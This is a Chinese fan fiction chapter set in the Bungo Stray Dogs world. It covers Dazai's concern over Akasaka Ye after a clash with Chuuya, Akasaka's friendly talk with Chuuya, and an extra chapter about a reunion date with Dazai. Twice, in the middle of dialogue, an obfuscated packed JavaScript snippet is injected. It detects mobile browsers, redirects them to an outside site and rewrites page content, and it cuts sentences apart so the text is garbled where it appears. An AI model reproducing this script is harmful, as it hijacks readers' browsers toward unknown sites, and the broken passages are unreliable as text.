太宰治忆起初次见面时赤坂冶垂着眸子哆嗦着唇脆弱的样子,想起他被绑起来时假模假样伪装服软的样子,想起他亲昵地哄着他提要求的样子…… 赤坂冶是个这么刚硬的人吗?服软对他来说,不该只是一种手段吗? 太宰治觉得以中原中也的性格,应该出不了什么意外。但赤坂冶状态有些不对,小矮子对待同僚和对待敌人又是截然不同的两种姿态,如果他脑子没多转两下,不小心下了死手…… 而且刚刚那动静…… 太宰治头疼坏了。他切到拨号界面,飞快地联络中原中也。 ……没人接。 太宰治差点就要失口骂出声了。 这个一打架就上头的家伙……! 但那边都打起来了,他在这里气急败坏也没有用处。 太宰治踢开椅子,快步离开了办公室。 中原中也联系不上,赤坂冶也不可能接他电话了。他倒也不是不能叫附近值班的守卫过去介入,但兴许是嫌麻烦、兴许是没那个志向,太宰治总归能明确看出,赤坂冶并不想自己暴露在港口mafia视野里。 就是为了这个,太宰治才派了些琐事给那边仓库街值守的人,不着痕迹地把人打发走。 部下去替干部跑个腿的这种小事,如果不闹出情况的话,基本是无从查起。事后太宰治只要交代他的学生兼部下把嘴巴闭紧,今天下午的事就可以无声无息地蒸发了。 但怎么偏偏叫中原中也碰上了? 怎么就偏偏叫中原中也碰上了呢? 他撬了中原中也停在□□本部车库里的机车,解锁点火挂挡,油门一下拧到了底,擦着车库缓缓升起的卷帘门就风驰电掣地冲了出去。 ……太宰治平时不喜欢自己开车,也懒得自己开车,也没人敢让他开车。但他毕竟是撞坏炸坏摔坏了中原中也好几辆车的人,单论驾驶技术的话,姑且也是说得过去的。 相比起芥川龙之介还需要从头开始查资料,太宰治已经将赤坂冶的任务摸得门清了。他走了最短路线冲到了那边码头的位置,却只在空无一人的街道上看到坑坑洼洼的地面。地上躺着大大小小的碎石,痕迹则有些像是被砸出来的,有些像是被人一脚踩出来的。 这些痕迹无疑是中原中也战斗留下的。而且打得相当激烈。 太宰治只是扫了一眼,表情就渐渐淡了。 这个出血量很正常,不是芥川弄出来的,倒有可能是芥川身上出来的。中原中也不用利器,赤坂冶会用刀,但他不会对芥川下死手,也很难伤到中原中也。眼下这情况看起来没什么大问题。 但人呢?去哪了? 活要见人死要见尸。如果人真的死了的话,尸体呢? 几乎能到太宰治脚踝的黑色大衣被风一荡,在身后扬起一个弧度。太宰治踩在砖石最边缘的位置,沿着海堤往前走了一段路,身旁袖摆翻飞。他也懒得再观察地上的痕迹,更像是在漫无目的地行走,朝着难以追寻到的道路尽头。 好半晌,他走累了,便干脆在原地坐下了。 他面朝着大海的方向,看着远处码头停靠着的轮渡,看着从水面上飞过的海鸟,看着远处连边界都模糊了的蔚蓝。 潮水的声音很好听。 过了一段时间,来电铃声响了起来。 太宰治连动弹一下都嫌累。但他等铃声响了五六秒后,还是接通了电话。 不用看来电显示,他都知道打过来的是中原中也。 “喂,太宰?” 对面传来的声音还是那么惹人厌。 中原中也显然也不乐意和他多聊,干脆利落地问:“什么事?” 赤坂冶呢?太宰治想问。 但他不情愿地翻了翻眼皮,还是问:“芥川呢?” “哦,你接到消息了是吧?”中原中也洋洋得意,“青花鱼,好好感谢我吧。我正好碰见,就帮你把人送到医院去了。” 他想起赤坂冶的事,顺口多问了两句:“不过,那个芥川是什么情况?怎么在街上随便攻击人啊?是你给他派了什么任务吗?” 太宰治:“……” 太宰治更加萎靡不振了。 行了,赤坂冶跟中原中也聊上了。 虽然早就猜到这个结局了,但真听到小矮子用这个语气替人打抱不平,太宰治还是心情很糟。 那个满嘴谎言的骗子。 “管好你自己的事吧。”太宰治一张嘴就是刻薄之语,“我的东西用不着你来负责。他死不了的。” 中原中也眉头一跳:“喂,怎么说话呢?” 虽然他有听说太宰治管教部下的手段比较粗暴,但也用不着这么说吧?‘我的东西’?他把人当成什么了? “你这家伙……”中原中也语气转差,正要开口再骂两句,就转而看到理发店里坐着的人。他撇撇嘴,“切,算了。混蛋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025566|162237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太宰,我今天心情好,没兴趣和你吵。没事我就挂电话了。” “哎?”太宰治恹恹地拖长语调,“真稀奇啊。黏糊糊的蛞蝓桑是找到一起在草丛里遥望天空的同伴了吗?” “混蛋,你想挨揍是吧?” “不,不想。我这可是在真诚发问呢。” 中原中也有点意外:“……啊?” 他又隔着玻璃往里看了一眼:“嘛,是遇到了一个有意思的人。” 回忆起战斗时对方眼中闪过的那丝兴奋之情,这个昔日的‘羊之王’、如今的港口mafia的王牌笑了两声:“实力挺强的,而且是个有胆量的人。我很中意。” “怎么,你认识?”他炫耀道,“我们约着回头有空去喝一杯呢。” ……喝个鬼。 太宰治一时间都无语了。 凭借他和赤坂冶短暂的同居经验来看,这家伙是个洁癖、高度自律到近乎强迫症的人。他不抽烟、不碰药、甚至没有特别明确的嗜好。家里的书没怎么翻过,游戏买来后只是拆了包装,家里的摆件更像是作为填充物出现,不同房子的装修风格截然不同、很难判断审美,衣柜里的衣物也是,除去正装外,只要换套衣服就能转变风格、完美地消失在人群里。 常规意义上来看,这家伙简直是做连环杀手的一把好手。 这么个家伙,太宰治没能在他家里翻出过一盒烟、一瓶酒。别说高度数酒精、偏好的品牌或口味了,太宰治连瓶啤的都没能翻出来。再加上织田作从没叫过赤坂冶去lupin,太宰治合理怀疑,赤坂冶根本就是滴酒不沾。 太宰治没忍住翻了个白眼。 还跟赤坂冶约喝酒呢?且不说赤坂冶到时换饮料的时候中也能不能发现,就中也那点酒量,没两杯下去就倒了吧。 “嗯嗯,这样啊,真不错呢。”他兴致缺缺地敷衍了两句,“那你们去吧,玩得开心一点哦。再见。” 中原中也:“……哈???” 没等中原中也拧起眉头来骂人,就听啪的一声,通话已经断了,接下来是一连串的忙音。 中原中也表情扭曲了一下,在‘是不是有什么不对’和‘太宰治又犯病了’之间挣扎了片刻,最终还是骂骂咧咧地收起手机,重新进了理发店,没好气地往赤坂冶旁边一坐。 “怎么?”那人问道。 “没什么事,有个讨人厌的家伙过来找骂罢了。”中原中也撇撇嘴,略过细节,打量着被理发师撩开长发、露出面容的男人。之前战斗的时候虽然有注意到,不过当时神经紧张,倒是没有现在看着直观。中原中也好奇问道,“你这看着……你是混血啊?” 剪刀咔嚓一并,棕色的碎发贴着他耳畔落下。赤坂冶坐在理发椅上,看着镜子里脸上横着一条深刻伤疤的人,与镜中那双深邃的棕色眼睛对上视线。回忆起前两天某人指腹抚过他眉骨的触感,赤坂冶在心里笑了下。 “对。”他说,“我算是半个俄罗斯人。” 24.024 “嚯,看不出来啊。”中原中也惊讶地说。 这两年,因为工作原因,中原中也也接触过来自不同国家的人。不同文化下长大的人差异颇大,不仅仅是口音,还有习惯、语气、给人的感觉等等。 赤坂冶的给人的感觉就是很日本人,和横滨街头任何一个讨生活的人没什么两样。如果不是这样撩开头发仔细端详他的脸,中原中也很难第一时间想到他是外国人。 ——哦不对,除了脸以外,还有身高。 仅仅一米六的中原中也想:怪不得他这么高。 “因为我一直生活在日本。”赤坂冶说,“我是横滨人。虽然有一半俄罗斯血统,不过我都没去过俄罗斯。嘛,我也没见过我父母。我现在所在的组织首领于我有恩,所以我一直留在这里,也没什么不好的——不过伏特加还是好喝的。” 中原中也拍手称快:“哈哈哈,这是血统觉醒了吗?” 他本人喜爱红酒,赤坂冶这么一说,他们话题很自然地转移到了地域和酒上。两人天南海北地聊了一通,等到赤坂冶说时间不早了,他真的得走了的时候,对话的氛围已经好得离谱了。 一个重情义、因为组织有恩于他所以一直停留、拒绝加入港口mafia的、实力出色性格又好的人,中原中也相当喜欢。下属组织在非必要情况下也属于港口mafia的势力,所以中原中也没多忌讳,爽快地认可了他。于是两人分别是很自然地提出交换联系方式,中原中也拍着他表示下次请赤坂冶尝尝他珍藏的红酒。 “电话卡都断了。”赤坂冶语气略显无奈,“你当时也看到了。” 他报了自己的手机号,并承诺等补办了电话卡之后会与他联络的。 中原中也不甚在意,也报了一个自己的联系方式,完后摆摆手,与赤坂冶道别,离开了。 他心情愉悦地返回□□本部的时候,又不小心碰上了满脸写着不愉悦的太宰治。太宰治死气沉沉的,看着像是又刚从哪根房梁上下来。 “……”中原中也嘴角抽了抽,停住脚步。 尽管不乐意,他还是开口问道,“喂,那个赤坂冶,是不是有问题?” 太宰治瘫在沙发上,有气无力地说,“谁?” “少装傻。”中原中也没好气地说,“你什么时候这么在乎下属的安危了?” 太宰治的威名可是用血与黑暗堆出来的,其中有敌人的血,却也不乏自己人的血。必要时候,他可不会吝啬于牺牲部下的生命。中原中也一直对此颇有微词。 他虽然和太宰治不和,但作为搭档,他也算是了解太宰治的性格习惯。挂断电话后没多久,中原中也就回过味来了:太宰既然对芥川那家伙这么粗暴,又怎么会在他受伤的第一时间打来电话询问?而且真要打的话,也该打给医院,而不该打到他手机上来吧? “你要是真转了性就好了。”中原中也说。 “啊?”太宰治懒洋洋地背过身,“什么东西在说话?完全看不到哎,声音太小了。” “你这家伙……混蛋!” 尽管不高兴,但太宰治还是勉为其难地转了过来。他歪歪斜斜地躺在沙发上,没个正形,刘海落下来,遮住了他唯一露在外面的那只眼。中原中也只能感受到他若有若无的视线。 “……那家伙怎么样?”太宰治不情不愿地问。 “啊?”中原中也还是一头雾水。 这对话跟他想象的不一样啊。如果真的有问题的话,太宰治该问的是这个问题吗?他是不是又错过什么了? 中原中也想了想,顺从本心地答道:“挺好的啊。如果不是你那两通电话,我没觉出什么不对。” 废话,太宰治心想。因为本来就没什么不对。 “你们都说什么了?” 中原中也又是一阵茫然:“没说什么吧?就是普通聊天,他没跟我打探消息啊。聊了聊酒、车、武器改装,还有乱七八糟的文化差异……哦,他是个俄罗斯混血?你怀疑他是欧洲间谍?但不至于吧。”中原中也报了赤坂冶那个组织的名字。“他说是组织首领有恩于他,所以他一直留在那个组织里。我对那个组织有印象,一直挺老实的,感觉没啥问题啊。” 太宰治:“……” 太宰治:“…………” 太宰治差点没一口血梗在喉间。 吗的,原来是俄罗斯混血。 而且见了鬼的组织首领有恩于他。他看赤坂冶上班时候的那个态度,可不是像是矜矜业业要为组织创收的样子。真的效力于组织的话,模范标杆是中原中也这样的吧?赤坂冶那完全跟织田作之助一样,只是随便找个组织混日子而已。 还有什么酒跟车。赤坂冶不喝酒,车……他难道对机车改装也感兴趣?文化差异……他倒是没看出来赤坂冶的生活习惯有什么不适应日本文化的地方。 这都什么鬼? 太宰治眼神复杂地看着中原中也。 他感觉小矮子已经被赤坂冶忽悠得找不着北了,但他直觉俄罗斯混血那句话是真的——又或者这句也是假的? 赤坂冶几乎不和他进行这种性质的聊天,面对他的提问都回答得很简短,而太宰治也不会问这种个人密切相关、或者跟爱好沾边的问题。他和中原中也会选择的话题类型截然不同,而赤坂冶应对他们的方式也截然不同。 他感觉这两人的对话里一定泄露了大量情报,然而中原中也完全无法分辨。 但他也不能叫中原中也给他原话复述一遍。 “那不就完了?” 太宰治懒得说了,也不想再说了。他有气无力地给这段令人心累的对话结了个尾,“笨蛋就好好地当笨蛋,不用胡乱揣测了。你就当认识了个酒友,不也没什么不好吗。” ……还欧洲间谍呢,真是要把他逗笑了。 “哈啊??” 中原中也真是怒从心中起。 他好好跟太宰治说话,结果这混蛋在说些什么呢? “混蛋——”他恶狠狠地说,“混蛋太宰,迟早有天杀了你!” “啊啊,不要。 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“骗鬼呢。”中原中也翻了个白眼,“算了,不牵扯到港口mafia的话,我也懒得管。你自己的事,你自己处理就好。” 话一出口,中原中也才发现太宰治竟早就说过这句话了。他卡了一下,眼角不自觉抽搐了起来。 他一下子郁闷起来,在太宰治若有若无的嘲讽笑声中,不愿再多留。他将大衣外套往肩上一搭,手指勾着领口,直接转身,推开房间门大步离开了。 ** 另一边,顶着一头短发的赤坂冶下了车,被冬季的冷风吹得清醒了三分。 凛冽的风裹挟着冷空气,贴着人面部的孤独扫下来,抚过耳侧和脖颈,让赤坂冶不自觉哆嗦了一下。 他其实有点怕冷,以及,他不太习惯这个新鲜出炉的清爽洋气的造型。 在冬天这样骤然剪了短发,居然让他感受到了传说中的温度差,脑袋温度好像都比平时低了好几度。 真是怪事一件。 他梗着脖子走在寒风中,一边后悔出门时怎么没顺手加个围巾,一边为了转移注意力而在心里打起腹稿。 考虑到他班上到一半没回消息、因意外耽搁了将近两小时、还手机损坏联系不上,赤坂冶已经预料到需要向弟弟滑跪道歉的未来了。他反复雕琢着措辞,思考着如何表达出最大的诚意,就忽然注意到了个不讨喜的熟人。 赤坂冶慢下脚步,心不在焉地瞄过去一眼。 ……是东京地下的二道贩子。 以前他同僚中饱私囊的时候叫他撞见过一次,当时来接头的好像就是这家伙。 不过他怎么会在这蹲点?这是换了营生了? 赤坂冶迅速扫了眼附近的监控位置,随即调转脚步方向,扬起个笑脸就朝他走过去了。 “哟,哥们,好久不见。” 带着恰到好处的意外和警惕,他语气轻快地跟人打了个招呼,“第一次在这碰见你啊?” 25.番外 这天太宰治突发奇想,忽然说要去约会。 来侦探社找人的赤坂冶站在办公室里,看着金发青年脸上尴尬的神色,自己也是一阵茫然。 “他今天没来?” 太宰治的新任搭档国木田独步是个有些诚实的青年,或许他前后两任上司都认为太宰与这样的人搭档能够发挥出最大效益,于是不论是先前的中原中也、还是如今的国木田独步,都不幸地撞见了使人折寿的太宰治。 这位金发青年刚一上班,就不得不被推出来面对不太熟悉的、据说是太宰治恋人的来客。他的责任感叫他没法将客人搁在一边不管,也没法将这棘手工作抛给社内普通成员。为此,他表情是肉眼可见的想把太宰治打一顿。 “嗯,是这样。” 尽管表情不好,国木田独步还是如实回答。他对于莫名其妙卷入小情侣的play这种事有些不满,但显然他不满的对象是他那位不着调的搭档。他没有对着陌生人发泄怨气的习惯。 他将一张纸条交给赤坂冶:“今早来到办公室时,就看到他在我桌上留了纸条。” ……太宰那家伙,昨天明明下午就不见人影了,任务也不做,报告也不写。他昨天晚上居然又溜回侦探社了吗? 既然是恋人的话,有什么事好好说不就行了?还绕着圈子,给周围人添这么多麻烦。 基于对太宰治的了解,国木田独步心中难免腹诽。 但话虽如此,据说这两位已经许久不见了,在不了解内情的状况下,国木田独步不好过多评价,更不会对另一方说三道四。 而且,不如说太宰治居然会有恋人这件事,本身就很叫人惊讶了。 赤坂冶上门拜访的那天,除了乱步先生露出了恍然大悟的神色外,其他人都是大吃一惊,太宰治本人更是罕有地失态了——也不知道他到底在失态什么。 这人似乎与织田作之助也是旧识,感情相当深厚的样子,使得那个平时不温不火、情绪稳定的男人罕有地、直白地表露出了开心。 国木田独步看着棕发青年接过纸条,指节分明的手指将其捋平,垂眼扫过上面的文字。他穿着件宽松的外套,衬衫领口没有整齐系好,黑色长裤直落,裤脚被收到高帮靴子内,棕发因懒得修剪而自然长长,在脑后随意扎起,大大方方露出了深邃的眉眼和脸上的疤痕。他下颚线如刀刻一般,嘴唇很薄,眼睛颜色很浅,锋芒隐而不发,只随意一瞥就尽显冷淡。 一看就知道是个危险角色。 哪怕他态度表现得很平和,也不会是个好相与的对象。 国木田独步及时收回打量的目光,与抬眼看过来的青年对上视线。 对方挑起唇角冲他微微一笑,将纸条一折,很自然地揣进兜里。 “我知道了,多谢。”他说。 国木田独步看着他动作,发觉他看似不经意地一折,其实将边角对得整整齐齐,折痕清晰平整。 注意到这个细节后,国木田独步顿时对这人生出了一丝好感:这和散漫随性、爱打破他计划的太宰治完全是不同类型的人啊。 于是顶着旁边白发新人颤颤巍巍的眼神,国木田独步开口:“不好意思,我也联系不上他,不知道他去了哪里。” “没事。”对方说,“我大概知道他在哪。” “……”国木田独步眉头一跳。 那纸条上统共也没写几个字,虽然是写给赤坂冶的,但太宰治将纸条放在了他的工位上,国木田独步还是在反应过来之前就读完了那两行字。除了表明自己今日要翘班外,太宰只写了两句莫名其妙的话,和他平日的胡言乱语没什么区别。国木田独步没从中解读出什么信息,只看出是太宰在埋怨眼前这个叫赤坂冶的人。 是什么仅有两人知晓的暗语吗?还是单纯的默契? 在这一刻,国木田独步才终于有了些‘这两人是恋人’的感触。 以太宰平日的行事方式、轻浮勾搭女性殉情的模样,很难想象他居然有恋人,更别提赤坂冶初次过来时太宰对他是言语尖刻、横眉冷对。赤坂冶和织田作之助交流时都显得要更加和谐。他们没在侦探社众人面前多谈,但眼神和动作间熟稔与默契已经自然流露。 但他看看赤坂冶情绪没有丝毫变化的平静模样,再想想太宰冷着脸、眼中带着怒意的样子,一时间心情竟有些微妙。 毕竟太宰平时才是那个将别人哄得团团转的家伙,什么事都在他的掌控之中。他几时见过太宰治失态的模样? 赤坂冶权当没看见对方复杂的眼神。 这位金发青年看着就是一板一眼不太会撒谎的那类人,虽然和太宰治聊不太来,但依旧信赖偏袒自己的搭档。是个能一眼辨别出的、正直的好人。 和他与太宰治是截然相反的类型。 赤坂冶偏头扫了一眼办公室内部。虽然是被授予了异能开业许可证的、专门处理黄昏时刻的异能力组织,但表面上看,他们看起来就是普通的侦探社组织,甚至氛围相当轻松和谐,称得上是个理想的工作地点。除了处理对外事宜的眼前这位金发异能力者,办公室里有不擅战斗的文员在处理公务、有胆怯地猫在旁边暗中观察的新人、甚至有嚣张地坐在桌上吃点心零食的眯眯眼青年——也不知道他是负责什么的。 现在是上班时间,大部分有归属的工位上都已经坐了人。属于国木田独步的办公桌上堆满了公文,而他隔壁的那张办公桌上则空荡荡的,除了最基本的办公用品外,不仅没有公文,连半件私人物品都没有。 这一看就是太宰治的。 不过当年他在港口mafia时,桌上可从没少过文件。 赤坂冶窥得一丝太宰治这些年的遭遇,心下感慨。 他主动说:“有他今天需要完成的工作吗?我可以转达。” ——武装侦探社的社长可真是个好人,居然都不压榨下属的。 “……” 国木田独步对他的好感又上升了两个等级。 但社员的恋人过来找人,显然是有事要说吧?人家又不是侦探社成员,就算任务保密等级不高,这样麻烦人家也不合适。 国木田独步正想拒绝,一旁的江户川乱步就开口:“可以啊。把那个外勤任务给他吧。” “……乱步先生?” 国木田独步有些讶异。 外勤任务多是两人一组,方便互相之间帮衬。那原本是他跟太宰的任务。 这是要拜托赤坂冶帮忙? “……” 赤坂冶将目光落到江户川乱步身上。黑发青年刚吃掉半包零食,嘴角还挂着点饼干碎屑。他眯着眼睛,手上捏着枚弹珠,隔着玻璃珠看其中身形被扭曲了的赤坂冶。 “可以的吧?” 赤坂冶看了他两秒钟。 “当然。” ** 赤坂冶沿着长街向街尾走去。 夜晚和白日的横滨总是相差甚远,而四年过去,街道两侧的铺子也有些改换了样貌。不过总归,还是陌生中透着一丝熟悉。 这是当年他们最后分别的地方。 街尾处,穿着沙色风衣的年轻人侧身站在花店门前,和卖花的姑娘聊得起劲儿。他说话好听,打扮得体,样貌又出众,三言两语就能把人逗得笑语连连。他本人也笑得相当灿烂,温柔清爽的笑容令人倍生好感。 待远远瞧见赤坂冶,他话里一顿,笑容稍微收敛了一些。 善解人意的姑娘察觉到他的异样,于是两人很快结束了对话。太宰治笑眯眯地跟她道别,转身朝赤坂冶走来。 赤坂冶早已在街对面顿住了脚步,似乎没有要打搅太宰治的意思。 不管是太宰治跟其他人聊得开怀、还是他投来视线时露出晦涩的神情、还是他转身向他走来时,他的表情都没有丝毫变化,就好像整件事与他无关一样。 尽管他就站在这里看着太宰治。 太宰治面带微笑迎上来:“你来啦。” 赤坂冶视线落在他面孔上。 当年还能称得上是个少年的人,几年过去,已经彻底褪去那点青涩的气息,身高也正式突破一米八大关,可喜可贺。 他收敛了曾经那些阴沉冰冷的感觉,将不为人知的黑暗藏在了内里,表露出来的尽是开朗与随性,偶尔流露出真性情后,那丝反差反而营造出了神秘的气质。 ……看起来他这几年过得不错,赤坂冶想。 他好像比在港口mafia时要更开心一点。 他们认识的时间不算短,确认关系的时间也不算,但相处模式绝称不上是正常情侣。他们唯一比较接近于约会的相处是四年前离别的最后一夜,在雨后午夜的长街上漫步,而后道别。 赤坂冶心里门清,他在太宰治心里大抵早已是个死人了。 看到他忽然出现时的惊讶感估计不亚于当面见到死人诈尸,所以前几日他上门武装侦探社时才会看到太宰治那副神情。 赤坂冶神色平静,看不出在想什么。 “嗯。”他只是说,“怎么翘班?” 太宰治挂着假笑盯了他一会,然后才垮下表情。 他装模作样地叹了口气,而后故作大方地说:“真拿你没办法。” 赤坂冶能分辨出他没有不高兴。 所以他顺从自己下意识的反应,困惑道:“嗯?” “奇了怪了,你怎么还这么不解风情?” 太宰治眼中沁出点无奈的笑意。他句尾语调轻扬,抬手一翻,变魔术般地将一支鲜艳的红玫瑰递到赤坂冶面前。他笑眯眯的,轻佻地说道:“都找你出来了,当然是喊你去约会啊。” 赤坂冶垂眸,几秒后抬手接过那朵玫瑰。 “去买花的?”他轻声问。 他举起那支玫瑰,像是在嗅闻花瓣间萦绕的香味,随后他微微低头,轻吻了一下那朵玫瑰,维持着这个姿势抬眼,视线直直撞进太宰治眼底。 “谢谢。”他说,“我很喜欢。” “……” 他这么配合,太宰治笑容反而僵了。 他心情指数急转直下,皮笑肉不笑地盯着赤坂冶:“演我?” “那也没有。”赤坂冶如实回答,“不过我以为我的定位是死掉的前任来着。” “还没死的话就不是。”太宰治说,“所以我成前任了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15066530|162237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没有。”赤坂冶立马否认。 “演我。”太宰治再次确信道。 “……” 赤坂冶郁闷地看了他一眼,忽然感觉手里那支玫瑰有点烫手。 “你明知道我没骗你。”他嘀咕了一句,“我当时说的是我不会管你。”又不是你别管我。 太宰治一言不发地盯着他,眼神看着像是想给他一刀。 “我刚就是去买花的。”他忽然说,“上次她帮过侦探社社员的忙。我在这等你时,店里没什么客人,所以就闲聊了两句。她问起社内近况,我就随便说了一些。” “哦。”赤坂冶说。 他想了想,紧接着又说:“不跟我解释也可以的。” “…………” 太宰治终于叫他气笑了。 “你们欧洲人能不能别这么开放?”他借着风衣的遮掩恶狠狠地拧了赤坂冶一把,另一手还抓住他手臂摁住他不叫他躲。他手上用力,把赤坂冶拽得不得不往侧边弯下一点腰,贴在他耳边用温柔到能滴水的语气说。 “别给我搞什么开放式关系——听见了吗?我再重复一遍,被我发现你在外面沾花惹草的话,你就完了。” “……”赤坂冶表情抽动了一下。 太宰治这两年也没闲着,手劲儿明显渐长。他妈的为什么掐这里这么疼?? “这时候我又被打成欧洲人了?”他强撑着来了一句。 太宰治一言不发,收回了手。 “……我错了,我没有。”听见保险栓被拉开的声音,赤坂冶毫不犹豫滑跪。他不想重逢第二面就又搞得鲜血淋漓,遂低声下气道了歉,“故意气你的,但真没有,真的。” “呵呵。”太宰治说。 赤坂冶:“……但我之前说的也是真的。” “你最好收回。”太宰治微微偏头,将温热的吐息撒到他耳廓。他轻言细语,温柔的语调中带着难掩的杀意和戾气,“还当是那乱七八糟的情人关系呢?既然在谈恋爱了,就给我老老实实谈恋爱。我不接受一对一以外的关系。” “……哦,我知道了。” 赤坂冶低声下气,“……去约会吧?” 太宰治再次:“呵呵。” 不过这次他放开了赤坂冶。 赤坂冶万分窝囊地直起身,仰头看了看天,做完了心理准备才向他自首: “但约会之前可能得先……先做个任务。” 可恶,他本来只是装模作样问一下,反正就算摸鱼,有他这个外人在,也能轻易打着幌子得到谅解。但是那个打扮得像个侦探的家伙一开口,他的计划即刻破灭。 “……不小心帮你揽了个活。” 太宰治从他看似平稳的语调中听出几丝气虚来。 “嗯?”他发出声鼻音,“怎么回事?” 赤坂冶眼神飘忽了一下。 这件事纯属是他嘴贱外加判断失误。侦探社的人显然已经习惯太宰治摸鱼翘班了,如果他不多余说那句话,大抵他们也不会主动提工作的事。 “我的问题。”他默默隐下自己丢人犯错的部分,“那个穿侦探套装的家伙指派过来的任务。” 太宰治一听就懂了。 “乱步先生?” 赤坂冶惯会在人面前装样,甚至很多时候已经成了他肌肉记忆,很自然地就会加几句、或表现出能博得人好感的样子。他擅长察言观色,但也不是小心翼翼的那种,反而更接近于‘几句话而已,何乐而不为呢?’的态度。 不过没有什么能骗得过江户川乱步。 那个人的话,恐怕赤坂冶出现在他面前的第一眼时,就已经被看穿了吧。 赤坂冶第一次听说:“谁?” 太宰治报出他的全名:“江户川乱步。” 赤坂冶默默记下。 “你别招惹他。”太宰治提醒,“他是个名侦探,是侦探社里最重要的人物,比社长福泽谕吉还难对付。不要小看他。” 赤坂冶意会了:“是个聪明人?” “嗯。”太宰治说,“有时候极致的智慧比绝对的武力还要可怕。” 赤坂冶应了,他本来也不是回横滨找麻烦的。 不过他回忆了下黑发青年鼓着脸颊咀嚼零食的样子,还有他手边堆了半张桌子的零食饮料弹珠汽水。 “他应该不会主动找人麻烦。”赤坂冶说,“他看着还挺可爱的。” “……嗯?” 太宰治微笑着看过来。 “……”赤坂冶这才意识到自己嘴瓢。 “就事论事而已。”他不动声色地找补,“我看他很喜欢零食。买点东西他就不介意了吧?我也没说什么,他应该只是维护同事。” 太宰治暼他两眼,没有借题发挥。 “走吧。”他耸耸肩,“既然是乱步先生丢过来的任务,那就没办法了。赶紧解决吧——你陪我一起。” “当然。” 赤坂冶将那支玫瑰别到了衬衫前胸。 在过来的路上他就已经看过了国木田独步提供的文件资料,姑且了解了任务需求。 他征求意见:“那先去报案人家里?”